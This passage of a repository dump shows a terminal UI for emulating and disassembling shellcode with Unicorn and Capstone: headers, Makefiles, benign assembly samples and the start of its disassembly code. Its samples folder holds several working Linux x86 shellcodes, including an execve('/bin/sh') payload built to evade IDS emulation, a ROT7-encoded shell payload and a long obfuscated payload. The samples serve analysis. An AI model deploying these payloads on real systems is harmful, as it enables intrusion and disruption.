| SYS_CHMOD, 11 | SYS_SIGNAL, 12 | SYS_IOCTL, 13 | SYS_SETUID, 14 | SYS_SETGID, 15 | SYS_SETREUID, 16 | SYS_CLOSE, 17 | SYS_ALARM, 18 | SYS_NICE, 19 | SYS_KILL, 20 | SYS_DUP, 21 | SYS_UMASK, 22 | SYS_DUP2, 23 | SYS_SSETMASK, 24 | SYS_GETPRIORITY, 25 | SYS_SETPRIORITY, 26 | SYS_FSYNC, 27 | SYS_FCHDIR, 28 | SYS_FLOCK, 29 | SYS_FDATASYNC, 30 | SYS_MLOCKALL, 31 | SYS_SCHED_GET_PRIORITY_MAX, 32 | SYS_SCHED_GET_PRIORITY_MIN, 33 | SYS_EXECVE, 34 | }; 35 | 36 | // Syscall mapping's between generic and arch number. 37 | enum linux_syscall * linux_syscall_map_x86(void); 38 | 39 | // Generic syscall printer for x86, x64 and ARM 40 | int32_t linux_syscall_printw(WINDOW *w, uc_engine *uc, enum linux_syscall scnum, void *arg0, void *arg1, void *arg2, void *arg3, void *arg4, void *arg5); 41 | 42 | // Syscall handlers for different arch's 43 | void hook_intr_x86_linux(uc_engine *uc, uint32_t intno, void *user_data); 44 | void hook_intr_x64_linux(uc_engine *uc, uint32_t intno, void *user_data); 45 | void hook_intr_arm_linux(uc_engine *uc, uint32_t intno, void *user_data); 46 | 47 | #endif 48 | -------------------------------------------------------------------------------- /include/ucui.h: -------------------------------------------------------------------------------- 1 | #ifndef BINNAME 2 | # define BINNAME "ucui" 3 | #endif 4 | 5 | #ifndef _ucui_h 6 | #define _ucui_h 7 | #define _GNU_SOURCE 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | #include "syscall.h" 27 | #include "init.h" 28 | #include "memory_map.h" 29 | #include "commands.h" 30 | #include "ucui_readline.h" 31 | 32 | #define MIN(a,b) ({ typeof (a) _a = (a); typeof (b) _b = (b); _a < _b ? _a : _b; }) 33 | #define MAX(a,b) ({ typeof (a) _a = (a); typeof (b) _b = (b); _a > _b ? _a : _b; }) 34 | #define CHECK_BIT(var, pos) ((var) & (1<<(pos))) 35 | 36 | #define conswnf(M, ...) wprintw(consw, M, ##__VA_ARGS__) 37 | #define consw(M, ...) conswnf(M, ##__VA_ARGS__); wrefresh(consw) 38 | #define consw_info(M, ...) consw(">> " M, ##__VA_ARGS__) 39 | #define consw_err(M, ...) consw("[ERROR] (%s:%d) " M, __FILE__, __LINE__, ##__VA_ARGS__) 40 | #define xfree(P) free(P); P = NULL 41 | 42 | 43 | struct readfile { 44 | char *filename; 45 | uint8_t *bytes; 46 | size_t len; 47 | }; 48 | 49 | struct disassembly { 50 | size_t count; 51 | cs_insn *insn; 52 | }; 53 | 54 | struct win_layout { 55 | int nlines; 56 | int ncols; 57 | int begin_y; 58 | int begin_x; 59 | }; 60 | 61 | struct x86_regs { 62 | uint32_t eax, ebx, ecx, edx, esi; 63 | uint32_t edi, ebp, esp, eip, eflags; 64 | uint16_t ss, cs, ds, es, fs, gs; 65 | }; 66 | 67 | struct x64_regs { 68 | uint64_t rax, rbx, rcx, rdx, rsi; 69 | uint64_t r8, r9, r10, r11, r12, r13, r14, r15; 70 | uint64_t rdi, rbp, rsp, rip, eflags; 71 | uint16_t ss, cs, ds, es, fs, gs; 72 | }; 73 | 74 | struct arm_regs { 75 | uint32_t r0, r1, r2, r3, r4, r5, r6, 76 | r7, r8, 77 | sb, // r9 78 | sl, // r10 ?? 79 | fp, // r11 80 | ip, // r12 81 | sp, // r13 SP stack pointer 82 | lr, // r14 LR link register 83 | pc, // r15 PC program counter 84 | cpsr; // status register 85 | }; 86 | 87 | enum cpu_arch { 88 | ARM = 0, 89 | X86, 90 | }; 91 | 92 | enum cpu_mode { 93 | MODE_32 = 0, 94 | MODE_64, 95 | }; 96 | 97 | enum emulate_os { 98 | LINUX = 0, 99 | XX, 100 | }; 101 | 102 | struct options { 103 | enum cpu_arch arch; 104 | enum cpu_mode mode; 105 | uint64_t baseaddress; 106 | char *scfile; 107 | enum emulate_os os; 108 | void * initial_regs; 109 | struct memory_map *mmap; 110 | uint64_t follow; 111 | }; 112 | 113 | enum stepmodes { 114 | STEP, 115 | RUN, 116 | }; 117 | 118 | bool uc_running; 119 | struct options *opts; 120 | 121 | struct x86_regs *prev_regs_x86; 122 | struct x86_regs * read_x86_registers(uc_engine *uc); 123 | int unicorn_x86(uint8_t *code, unsigned int len, uint64_t baseaddress); 124 | 125 | struct x64_regs *prev_regs_x64; 126 | struct x64_regs *read_x64_registers(uc_engine *uc); 127 | int unicorn_x64(uint8_t *code, unsigned int len, uint64_t baseaddress); 128 | 129 | struct arm_regs *prev_regs_arm; 130 | int unicorn_arm(uint8_t *code, unsigned int len, uint64_t baseaddress); 131 | struct arm_regs * read_arm_registers(uc_engine *uc); 132 | 133 | void printwass(unsigned int startpos, unsigned int endpos, uint64_t pc); 134 | struct disassembly * disass(uint8_t *code, unsigned int len, uint64_t baseaddress, cs_arch arch, cs_mode mode); 135 | struct readfile * readfile(char *filename); 136 | void verify_visible_ip(uint64_t pc); 137 | bool ip_aligned_to_disassembly(uint64_t pc); 138 | bool should_break(uint64_t pc); 139 | void redisassemble_code(uc_engine *uc, uint64_t ip); 140 | 141 | void *xmalloc(size_t size); 142 | void wpprintw(WINDOW *w, unsigned char *str, uint32_t size); 143 | void handle_keyboard(uc_engine *uc, uint64_t pc); 144 | struct win_layout asswl, regswl, conswl, stackwl, cmdwl, folwl; 145 | WINDOW *assw, *regsw, *consw, *stackw, *cmdw, *folw; 146 | struct disassembly *diss; 147 | struct readfile *rf; 148 | unsigned int spos; 149 | uint64_t *breakpoints; 150 | enum stepmodes stepmode; 151 | 152 | uint8_t *last_follow_bytes; 153 | void update_follow_window(uc_engine *uc, uint64_t addr); 154 | 155 | 156 | #endif 157 | -------------------------------------------------------------------------------- /include/ucui_readline.h: -------------------------------------------------------------------------------- 1 | #ifndef __ucui_readline_h 2 | # define __ucui_readline_h 3 | 4 | #define RL_PROMPT "cmd$ " 5 | 6 | char *readline_command; 7 | int ucui_readline_init(void); 8 | void forward_to_readline(char c); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /samples/arm/arm_write_exit/Makefile: -------------------------------------------------------------------------------- 1 | all: arm_write_exit ucui 2 | 3 | arm_write_exit: FORCE 4 | ./build_arm.rb arm_write_exit 5 | 6 | ucui: 7 | ../../../build/ucui $(O) -a ARM -m 32 arm_write_exit.sc 8 | 9 | clean: 10 | rm -f arm_write_exit arm_write_exit.sc 11 | 12 | FORCE: 13 | -------------------------------------------------------------------------------- /samples/arm/arm_write_exit/arm_write_exit.s: -------------------------------------------------------------------------------- 1 | .text 2 | .globl _start 3 | 4 | _start: 5 | @ generate a string 6 | mov r2, #0 7 | mov r0, #'a' 8 | loop: 9 | strb r0, [sp, r2] 10 | add r0, #1 11 | add r2, #1 12 | cmp r2, #10 13 | bne loop 14 | mov r0, #'\n' 15 | strb r0, [sp, r2] 16 | add r2, #1 17 | 18 | @ write 19 | mov r7, #4 @ write syscall 20 | mov r0, #1 @ stdout 21 | mov r1, sp @ *string 22 | @ r2 - length 23 | svc #0 24 | 25 | 26 | # exit(2) 27 | mov r7, #1 @ exit syscall 28 | mov r0, #2 @ exit argument 29 | svc #0 30 | -------------------------------------------------------------------------------- /samples/arm/arm_write_exit/build_arm.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'pp' 3 | 4 | as = %{/usr/bin/arm-none-eabi-as} 5 | objdump = %{/usr/bin/arm-none-eabi-objdump} 6 | name = ARGV[0] || "arm_write_exit" 7 | 8 | if !File.exist?(as) || !File.exist?(objdump) 9 | puts "Cannot find required arm binaries!" 10 | puts "on ubuntu they are located in package \"binutils-arm-none-eabi\"" 11 | exit 1 12 | end 13 | 14 | if !File.exist?(name + ".s") 15 | puts "Usage: #{File.basename($0)} name" 16 | puts " builds a file named name.s" 17 | exit 1 18 | end 19 | 20 | cmd = %{#{as} -o #{name} #{name}.s} 21 | puts cmd 22 | exit 2 unless system(cmd) 23 | 24 | cmd = %{#{objdump} -d #{name}} 25 | puts cmd 26 | out = `#{cmd}` 27 | format = out.scan(/file format (\S+)/).flatten.first || raise("no file format found") 28 | 29 | opcodes = [] 30 | case format 31 | when 'elf32-littlearm' 32 | rbytes = out.scan(/^\s+[0-9a-f]+:\s+(\S+)/).collect do |b| 33 | b[0].scan(/\w\w/).reverse.collect{|sn| sn.to_i(16)} 34 | end 35 | ;; 36 | else 37 | puts "format: #{format} unknown" 38 | exit 1 39 | end 40 | rbytes = rbytes.flatten 41 | 42 | scfile = name + ".sc" 43 | File.open(scfile, "w") do |fh| 44 | fh.print rbytes.pack("C*") 45 | end 46 | 47 | puts "Generated file: #{scfile}" 48 | puts "Run with: ucui -a ARM #{scfile}" 49 | -------------------------------------------------------------------------------- /samples/arm/memory/Makefile: -------------------------------------------------------------------------------- 1 | all: run 2 | 3 | run: 4 | ../../../build/ucui -a ARM -m 32 -M memory.map -r registers 5 | -------------------------------------------------------------------------------- /samples/arm/memory/code.mem: -------------------------------------------------------------------------------- 1 | � -------------------------------------------------------------------------------- /samples/arm/memory/memory.map: -------------------------------------------------------------------------------- 1 | 0x4000000 rwx code.mem 2 | 0x5000000 rw- stack.mem 3 | -------------------------------------------------------------------------------- /samples/arm/memory/registers: -------------------------------------------------------------------------------- 1 | sp: 0x5000000 2 | r7: 4 # SYS_WRITE 3 | r0: 1 # STDOUT 4 | r1: 0x5000000 # addr of string 5 | r2: 16 # length 6 | -------------------------------------------------------------------------------- /samples/arm/memory/stack.mem: -------------------------------------------------------------------------------- 1 | string on stack 2 | -------------------------------------------------------------------------------- /samples/x64/memory/Makefile: -------------------------------------------------------------------------------- 1 | all: run 2 | 3 | run: 4 | ../../../build/ucui -m 64 -M memory.map -r registers 5 | -------------------------------------------------------------------------------- /samples/x64/memory/code.mem: -------------------------------------------------------------------------------- 1 |  -------------------------------------------------------------------------------- /samples/x64/memory/memory.map: -------------------------------------------------------------------------------- 1 | 0x4000000 rwx code.mem 2 | 0x5000000 rw- stack.mem 3 | -------------------------------------------------------------------------------- /samples/x64/memory/registers: -------------------------------------------------------------------------------- 1 | rsp: 0x5000000 2 | rax: 1 # SYS_WRITE 3 | rdi: 1 # STDOUT 4 | rdx: 16 # length 5 | rsi: 0x5000000 # addr of string 6 | -------------------------------------------------------------------------------- /samples/x64/memory/stack.mem: -------------------------------------------------------------------------------- 1 | string on stack 2 | -------------------------------------------------------------------------------- /samples/x64/x64_write_exit/Makefile: -------------------------------------------------------------------------------- 1 | all: write_exit ucui 2 | 3 | write_exit: FORCE 4 | nasm write_exit.asm 5 | 6 | elf: FORCE 7 | nasm -f elf64 -o write_exit.o write_exit.asm 8 | ld -o write_exit.elf write_exit.o 9 | 10 | ucui: 11 | ../../../build/ucui $(O) -a x86 -m 64 write_exit 12 | 13 | 14 | clean: 15 | rm -f write_exit write_exit.o write_exit.elf 16 | 17 | FORCE: 18 | -------------------------------------------------------------------------------- /samples/x64/x64_write_exit/write_exit.asm: -------------------------------------------------------------------------------- 1 | ; vim: ft=nasm : 2 | 3 | BITS 64 4 | 5 | global _start 6 | section .text 7 | 8 | _start: 9 | 10 | _write: 11 | mov rax, 1 ; SYS_WRITE 12 | mov rdi, 1 ; 1 - STDOUT 13 | jmp _str 14 | _got_str: 15 | pop rsi 16 | mov rdx, 31 ; length 17 | syscall ; make the call 18 | 19 | _exit: 20 | xor rax, rax 21 | mov al,60 ; SYS_EXIT 22 | xor rdi,rdi ; exit code 0 23 | syscall ; make the call 24 | 25 | _str: 26 | call _got_str 27 | db 'This string are in the code...', 0x0a 28 | -------------------------------------------------------------------------------- /samples/x86/memory_mapped/Makefile: -------------------------------------------------------------------------------- 1 | all: run 2 | 3 | run: FORCE 4 | ../../../build/ucui $(O) -M ./memory_map -r ./registers 5 | 6 | b: 7 | nasm -o write_exit.mem x.asm 8 | 9 | FORCE: 10 | -------------------------------------------------------------------------------- /samples/x86/memory_mapped/memory_map: -------------------------------------------------------------------------------- 1 | 0x300000 rwx write_exit.mem 2 | 0x500000 rwx stack.mem 3 | -------------------------------------------------------------------------------- /samples/x86/memory_mapped/registers: -------------------------------------------------------------------------------- 1 | eip: 0x00300000 2 | esp: 0x00500014 3 | eax: 0x00000004 4 | ebx: 0x00000001 5 | ecx: 0x00500045 6 | edx: 0x17 7 | -------------------------------------------------------------------------------- /samples/x86/memory_mapped/stack.mem: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eahlstrom/ucui-unicorn/146bf56d4e8c310a550cd5f3c1fff52301739238/samples/x86/memory_mapped/stack.mem -------------------------------------------------------------------------------- /samples/x86/memory_mapped/write_exit.mem: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eahlstrom/ucui-unicorn/146bf56d4e8c310a550cd5f3c1fff52301739238/samples/x86/memory_mapped/write_exit.mem -------------------------------------------------------------------------------- /samples/x86/memory_mapped/x.asm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | section .text 4 | 5 | _start: 6 | int 0x80 7 | sub ecx, 0x25 8 | jmp ecx 9 | -------------------------------------------------------------------------------- /samples/x86/rep_instructions/Makefile: -------------------------------------------------------------------------------- 1 | N = rep_ins 2 | 3 | all: $(N) ucui 4 | 5 | $(N): $(N).asm 6 | nasm $(N).asm 7 | 8 | elf: FORCE 9 | nasm -f elf32 -o $(N).o $(N).asm 10 | ld -o $(N).elf $(N).o 11 | 12 | ucui: 13 | ../../../build/ucui $(O) -a x86 -m 32 $(N) 14 | 15 | clean: 16 | rm -f $(N) *.o 17 | 18 | dis: FORCE 19 | cat rep_ins | ndisasm -b 32 - 20 | 21 | FORCE: 22 | -------------------------------------------------------------------------------- /samples/x86/rep_instructions/rep_ins.asm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | section .text 4 | 5 | _start: 6 | 7 | begin: 8 | mov eax, -3 9 | mov edi, esp 10 | mov ecx, 10 11 | rep stosb 12 | nop 13 | 14 | jmp addr_of_str 15 | got_addr_of_str: 16 | pop esi ; *str 17 | mov edi, 0x00400060 18 | mov ecx, 27 19 | rep movsb 20 | 21 | 22 | mov eax, 1 ; system call (sys_exit) 23 | mov ebx, 9 ; exit code 24 | int 0x80 ; call kernel 25 | 26 | addr_of_str: 27 | call got_addr_of_str 28 | db 'this string is in the code', 0xa 29 | 30 | -------------------------------------------------------------------------------- /samples/x86/shellcodes/anti_debug_binsh.c: -------------------------------------------------------------------------------- 1 | /* 2 | * (linux/x86) anti-debug trick (INT 3h trap) + execve("/bin/sh", ["/bin/sh", NULL], NULL) - 39 bytes 3 | * 4 | * The idea behind a shellcode w/ an anti-debugging trick embedded in it, is if for any reason the IDS 5 | * would try to x86-emulate the shellcode it would *glitch* and fail. This also protectes the shellcode 6 | * from running within a debugger environment such as gdb and strace. 7 | * 8 | * How this works? the shellcode registers for the SIGTRAP signal (aka. Breakpoint Interrupt) and use it 9 | * to call the acutal payload (e.g. _evil_code) while a greedy debugger or a confused x86-emu won't pass 10 | * the signal handler to the shellcode, it would end up doing _exit() instead execuve() 11 | * 12 | * - izik 13 | */ 14 | 15 | char shellcode[] = 16 | 17 | "\x6a\x30" // push $0x30 18 | "\x58" // pop %eax 19 | "\x6a\x05" // push $0x5 20 | "\x5b" // pop %ebx 21 | "\xeb\x05" // jmp <_evil_code> 22 | 23 | // 24 | // <_evilcode_loc>: 25 | // 26 | 27 | "\x59" // pop %ecx 28 | "\xcd\x80" // int $0x80 29 | "\xcc" // int3 30 | "\x40" // inc %eax 31 | "\xe8\xf6\xff\xff\xff" // call <_evilcode_loc> 32 | "\x99" // cltd 33 | 34 | // 35 | // <_evil_code>: 36 | // 37 | 38 | "\xb0\x0b" // mov $0xb,%al 39 | "\x52" // push %edx 40 | "\x68\x2f\x2f\x73\x68" // push $0x68732f2f 41 | "\x68\x2f\x62\x69\x6e" // push $0x6e69622f 42 | "\x89\xe3" // mov %esp,%ebx 43 | "\x52" // push %edx 44 | "\x53" // push %ebx 45 | "\x54" // push %esp 46 | "\xeb\xe1"; // jmp <_evilcode_loc> 47 | 48 | int main(int argc, char **argv) { 49 | /* 50 | int *ret; 51 | ret = (int *)&ret + 2; 52 | (*ret) = (int) shellcode; 53 | */ 54 | printf("%s", shellcode); 55 | } 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /samples/x86/shellcodes/anti_debug_binsh.sc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eahlstrom/ucui-unicorn/146bf56d4e8c310a550cd5f3c1fff52301739238/samples/x86/shellcodes/anti_debug_binsh.sc -------------------------------------------------------------------------------- /samples/x86/shellcodes/cd_open_close.c: -------------------------------------------------------------------------------- 1 | /* 2 | * (linux/x86) eject & close cd-rom frenzy loop (follows "/dev/cdrom" symlink) - 45 bytes 3 | * - izik 4 | */ 5 | 6 | char shellcode[] = 7 | 8 | "\x6a\x05" // push $0x5 9 | "\x58" // pop %eax 10 | "\x31\xc9" // xor %ecx,%ecx 11 | "\x51" // push %ecx 12 | "\xb5\x08" // mov $0x8,%ch 13 | "\x68\x64\x72\x6f\x6d" // push $0x6d6f7264 14 | "\x68\x65\x76\x2f\x63" // push $0x632f7665 15 | "\x68\x2f\x2f\x2f\x64" // push $0x642f2f2f 16 | "\x89\xe3" // mov %esp,%ebx 17 | "\xcd\x80" // int $0x80 18 | "\x89\xc3" // mov %eax,%ebx 19 | 20 | // 21 | // <_makeio>: 22 | // 23 | 24 | "\x66\xb9\x09\x53" // mov $0x5309,%cx 25 | 26 | // 27 | // <_frenzy>: 28 | // 29 | 30 | "\xb0\x36" // mov $0x36,%al 31 | "\xcd\x80" // int $0x80 32 | "\xf5" // cmc 33 | "\x72\xf5" // jc <_makeio> 34 | "\x80\xc1\x10" // add $0x10,%cl 35 | "\xeb\xf4"; // jmp <_frenzy> 36 | 37 | int main(int argc, char **argv) { 38 | /* 39 | int *ret; 40 | ret = (int *)&ret + 2; 41 | (*ret) = (int) shellcode; 42 | */ 43 | printf("%s", shellcode); 44 | } 45 | -------------------------------------------------------------------------------- /samples/x86/shellcodes/cd_open_close.sc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eahlstrom/ucui-unicorn/146bf56d4e8c310a550cd5f3c1fff52301739238/samples/x86/shellcodes/cd_open_close.sc -------------------------------------------------------------------------------- /samples/x86/shellcodes/execve_rot7.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | unsigned char code[] = "\xeb\x25\x5e\x31\xc9\xb1\x1e\x80\x3e\x07\x7c\x05\x80\x2e\x07\xeb\x11\x31\xdb\x31\xd2\xb3\x07\xb2\xff\x66\x42\x2a\x1e\x66\x29\xda\x88\x16\x46\xe2\xe2\xeb\x05\xe8\xd6\xff\xff\xff\x38\xc7\x57\x6f\x69\x68\x7a\x6f\x6f\x69\x70\x75\x36\x6f\x36\x36\x36\x36\x90\xea\x57\x90\xe9\x5a\x90\xe8\xb7\x12\xd4\x87"; 5 | 6 | main() 7 | { 8 | /* 9 | printf("Shellcode Length: %d\n", strlen(code)); 10 | 11 | int (*ret)() = (int(*)())code; 12 | ret(); 13 | */ 14 | printf("%s", code); 15 | } 16 | 17 | // gcc ./shellcode.c -fno-stack-protector -z execstack -o shellcode 18 | -------------------------------------------------------------------------------- /samples/x86/shellcodes/execve_rot7.sc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eahlstrom/ucui-unicorn/146bf56d4e8c310a550cd5f3c1fff52301739238/samples/x86/shellcodes/execve_rot7.sc -------------------------------------------------------------------------------- /samples/x86/shellcodes/shellcode-234.c: -------------------------------------------------------------------------------- 1 | /* 2 | * (linux/x86) cat /dev/urandom > /dev/console, no real profit just for kicks - 63 bytes 3 | * - izik 4 | */ 5 | 6 | char shellcode[] = 7 | 8 | "\x31\xc9" // xor %ecx,%ecx 9 | "\x51" // push %ecx 10 | "\x68\x6e\x64\x6f\x6d" // push $0x6d6f646e 11 | "\x68\x2f\x75\x72\x61" // push $0x6172752f 12 | "\x68\x2f\x64\x65\x76" // push $0x7665642f 13 | "\x89\xe3" // mov %esp,%ebx 14 | "\xb1\x02" // mov $0x2,%cl 15 | 16 | // 17 | // <_openit>: 18 | // 19 | 20 | "\x6a\x05" // push $0x5 21 | "\x58" // pop %eax 22 | "\x99" // cltd 23 | "\xcd\x80" // int $0x80 24 | "\x96" // xchg %eax,%esi 25 | "\x5f" // pop %edi 26 | "\x5d" // pop %ebp 27 | "\x5d" // pop %ebp 28 | "\x68\x73\x6f\x6c\x65" // push $0x656c6f73 29 | "\x68\x2f\x63\x6f\x6e" // push $0x6e6f632f 30 | "\x57" // push %edi 31 | "\xe2\xe9" // loop <_openit> 32 | 33 | "\x89\xc3" // mov %eax,%ebx 34 | 35 | // 36 | // <_makeio>: 37 | // 38 | 39 | "\xb2\x04" // mov $0x4,%dl 40 | "\x89\xe1" // mov %esp,%ecx 41 | 42 | // 43 | // <_pre_ioloop>: 44 | // 45 | 46 | "\xb0\x03" // mov $0x3,%al 47 | "\xf8" // clc 48 | 49 | // 50 | // <_ioloop>: 51 | // 52 | 53 | "\xcd\x80" // int $0x80 54 | "\x87\xde" // xchg %ebx,%esi 55 | "\x72\xf7" // jc <_pre_ioloop> 56 | "\xf9" // stc 57 | "\xeb\xf7"; // jmp <_ioloop> 58 | 59 | int main(int argc, char **argv) { 60 | /* 61 | int *ret; 62 | ret = (int *)&ret + 2; 63 | (*ret) = (int) shellcode; 64 | */ 65 | printf("%s", shellcode); 66 | } 67 | 68 | -------------------------------------------------------------------------------- /samples/x86/shellcodes/shellcode-234.sc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eahlstrom/ucui-unicorn/146bf56d4e8c310a550cd5f3c1fff52301739238/samples/x86/shellcodes/shellcode-234.sc -------------------------------------------------------------------------------- /samples/x86/shellcodes/shellcode2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | char sc[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xbb\x59\x45\x4f\x53\xba\x33\x36\x38\x37\x31\xd3\x53\xc1\xeb\x08\x53\xbb\x7a\x46\x59\x45\xba\x55\x36\x38\x36\x31\xd3\x53\xbb\x67\x58\x45\x4e\xba\x48\x3d\x31\x2d\x31\xd3\x53\x89\xe3\x68\x41\x41\xff\x01\x59\xc1\xe9\x08\xc1\xe9\x08\x6a\x0f\x58\xcd\x80\xbb\x53\x49\x57\x4a\xba\x39\x2d\x38\x3d\x31\xd3\xc1\xeb\x08\x53\xbb\x6d\x47\x45\x58\xba\x42\x34\x2d\x39\x31\xd3\x53\xbb\x6e\x54\x49\x57\xba\x41\x31\x3d\x34\x31\xd3\x53\x89\xe3\x68\x41\x41\xff\x01\x59\xc1\xe9\x08\xc1\xe9\x08\x6a\x0f\x58\xcd\x80\xbb\x73\x47\x4e\x51\xba\x32\x34\x39\x35\x31\xd3\xc1\xeb\x08\x53\xbb\x59\x44\x56\x44\xba\x76\x34\x37\x37\x31\xd3\x53\xbb\x4e\x58\x59\x51\xba\x61\x3d\x2d\x32\x31\xd3\x53\x89\xe3\x68\x41\x41\x01\x04\x59\xc1\xe9\x08\xc1\xe9\x08\x6a\x05\x58\xcd\x80\x89\xc3\x6a\x04\x58\x68\x41\x73\x68\x0a\x59\xc1\xe9\x08\x51\xb9\x57\x67\x57\x58\xba\x39\x48\x35\x39\x31\xd1\x51\xb9\x4e\x64\x5a\x51\xba\x74\x4b\x38\x38\x31\xd1\x51\xb9\x47\x57\x56\x42\xba\x35\x38\x39\x36\x31\xd1\x51\xb9\x61\x70\x51\x4e\xba\x2d\x39\x6b\x61\x31\xd1\x51\xb9\x48\x58\x70\x74\xba\x72\x68\x4a\x35\x31\xd1\x51\xb9\x76\x45\x56\x46\xba\x3d\x6b\x6c\x76\x31\xd1\x51\x68\x66\x77\x55\x57\x68\x68\x70\x31\x50\x68\x7a\x59\x65\x41\x68\x41\x61\x41\x51\x68\x49\x38\x75\x74\x68\x50\x4d\x59\x68\x68\x54\x42\x74\x7a\x68\x51\x2f\x38\x54\x68\x45\x36\x6d\x67\x68\x76\x50\x2e\x73\x68\x4e\x58\x52\x37\x68\x39\x4b\x55\x48\x68\x72\x2f\x59\x42\x68\x56\x78\x4b\x47\x68\x39\x55\x66\x5a\x68\x46\x56\x6a\x68\x68\x46\x63\x38\x79\x68\x70\x59\x6a\x71\x68\x77\x69\x53\x68\x68\x6e\x54\x67\x54\x68\x58\x4d\x69\x37\x68\x2f\x41\x6e\x24\x68\x70\x55\x6e\x4d\x68\x24\x36\x24\x6a\xb9\x73\x61\x74\x67\xba\x32\x2d\x3d\x5d\x31\xd1\x51\x89\xe1\xba\x41\x41\x41\x7f\xc1\xea\x08\xc1\xea\x08\xc1\xea\x08\xcd\x80\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x68\x52\x55\x48\x42\x68\x52\x51\x49\x43\xb9\x49\x4b\x59\x77\xba\x66\x38\x31\x35\x31\xd1\x51\xb9\x55\x55\x54\x57\xba\x7a\x37\x3d\x39\x31\xd1\x51\x89\xe3\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xb0\x01\xb3\x01\xcd\x80"; 4 | int main(void) 5 | { 6 | 7 | // fprintf(stdout,"Length: %d\n\n",strlen(sc)); 8 | // (*(void(*)()) sc)(); 9 | 10 | printf("%s", sc); 11 | } 12 | -------------------------------------------------------------------------------- /samples/x86/shellcodes/shellcode2.sc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eahlstrom/ucui-unicorn/146bf56d4e8c310a550cd5f3c1fff52301739238/samples/x86/shellcodes/shellcode2.sc -------------------------------------------------------------------------------- /samples/x86/x86_write_exit/Makefile: -------------------------------------------------------------------------------- 1 | all: write_exit ucui 2 | 3 | write_exit: FORCE 4 | nasm write_exit.asm 5 | 6 | elf: FORCE 7 | nasm -f elf32 -o write_exit.o write_exit.asm 8 | ld -o write_exit.elf write_exit.o 9 | 10 | ucui: 11 | ../../../build/ucui $(O) -a x86 -m 32 write_exit 12 | 13 | clean: 14 | rm -f write_exit *.o 15 | 16 | FORCE: 17 | -------------------------------------------------------------------------------- /samples/x86/x86_write_exit/write_exit.asm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | section .text 4 | 5 | _start: 6 | 7 | begin: 8 | jmp addr_of_str 9 | got_addr_of_str: 10 | mov eax, 4 ; sys_write 11 | mov ebx, 1 ; stdout 12 | pop ecx ; *str 13 | mov edx, 28 ; length 14 | int 0x80 15 | 16 | mov eax, 1 ; system call (sys_exit) 17 | mov ebx, 9 ; exit code 18 | int 0x80 ; call kernel 19 | 20 | addr_of_str: 21 | call got_addr_of_str 22 | db 'this string is in the code', 0xa 23 | 24 | -------------------------------------------------------------------------------- /src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-c -Wall -ggdb 3 | LDFLAGS=-lcapstone -lncurses -lunicorn -lreadline 4 | SOURCES=main.c capstone.c readfile.c utils.c hexdump.c unicorn_x86.c unicorn_x64.c unicorn_arm.c \ 5 | syscall.c syscall_linux.c init_from_file.c memory_map.c command_parser.c commands.c readline.c 6 | INC=-I../include 7 | OBJECTS=$(SOURCES:.c=.o) 8 | EXECUTABLE=../build/ucui 9 | 10 | all: $(SOURCES) $(EXECUTABLE) 11 | 12 | $(EXECUTABLE): $(OBJECTS) 13 | $(CC) $(OBJECTS) -o $@ $(LDFLAGS) 14 | 15 | .c.o: 16 | $(CC) $(INC) $(CFLAGS) $< -o $@ 17 | 18 | clean: 19 | rm -f *.o $(EXECUTABLE) 20 | -------------------------------------------------------------------------------- /src/capstone.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | struct disassembly * disass(uint8_t *code, unsigned int len, uint64_t baseaddr, cs_arch arch, cs_mode mode) 4 | { 5 | csh handle = 0; 6 | struct disassembly *d = NULL; 7 | cs_err err; 8 | 9 | if ((err = cs_open(arch, mode, &handle)) != CS_ERR_OK) { 10 | consw_err("disassemble 0x%08llx: cs_open() error returned: %u\n", baseaddr, err); 11 | getch(); 12 | endwin(); 13 | exit(1); 14 | } 15 | 16 | d = malloc(sizeof(struct disassembly)); 17 | d->count = cs_disasm(handle, code, len, baseaddr, 0, &d->insn); 18 | if (d->count == 0) { 19 | consw_err("Unable to disassemble code @ 0x%08llx\n", baseaddr); 20 | } 21 | 22 | cs_close(&handle); 23 | return(d); 24 | } 25 | 26 | void verify_visible_ip(uint64_t ip) 27 | { 28 | size_t i; 29 | 30 | for(i=0; i < diss->count; i++) { 31 | if (diss->insn[i].address >= ip) 32 | break; 33 | } 34 | 35 | if (i > (spos + asswl.nlines-3)) { 36 | spos = MAX(i - (asswl.nlines-3), 0); 37 | } else if (i < spos) { 38 | spos = i; 39 | } 40 | } 41 | 42 | bool ip_aligned_to_disassembly(uint64_t ip) 43 | { 44 | int i; 45 | 46 | for(i=0; i < diss->count; i++) { 47 | if (diss->insn[i].address == ip) 48 | return(true); 49 | } 50 | return(false); 51 | } 52 | 53 | void printwass(unsigned int startpos, unsigned int lines, uint64_t ip) 54 | { 55 | unsigned int i, j, endpos, wline; 56 | uint64_t *bp; 57 | 58 | if (diss->count == 0) 59 | return; 60 | 61 | startpos = MIN(diss->count, startpos); 62 | endpos = MIN(diss->count, startpos+lines) - 1; 63 | 64 | wclear(assw); 65 | 66 | // instruction pointer highlight 67 | init_pair(1, COLOR_BLACK, 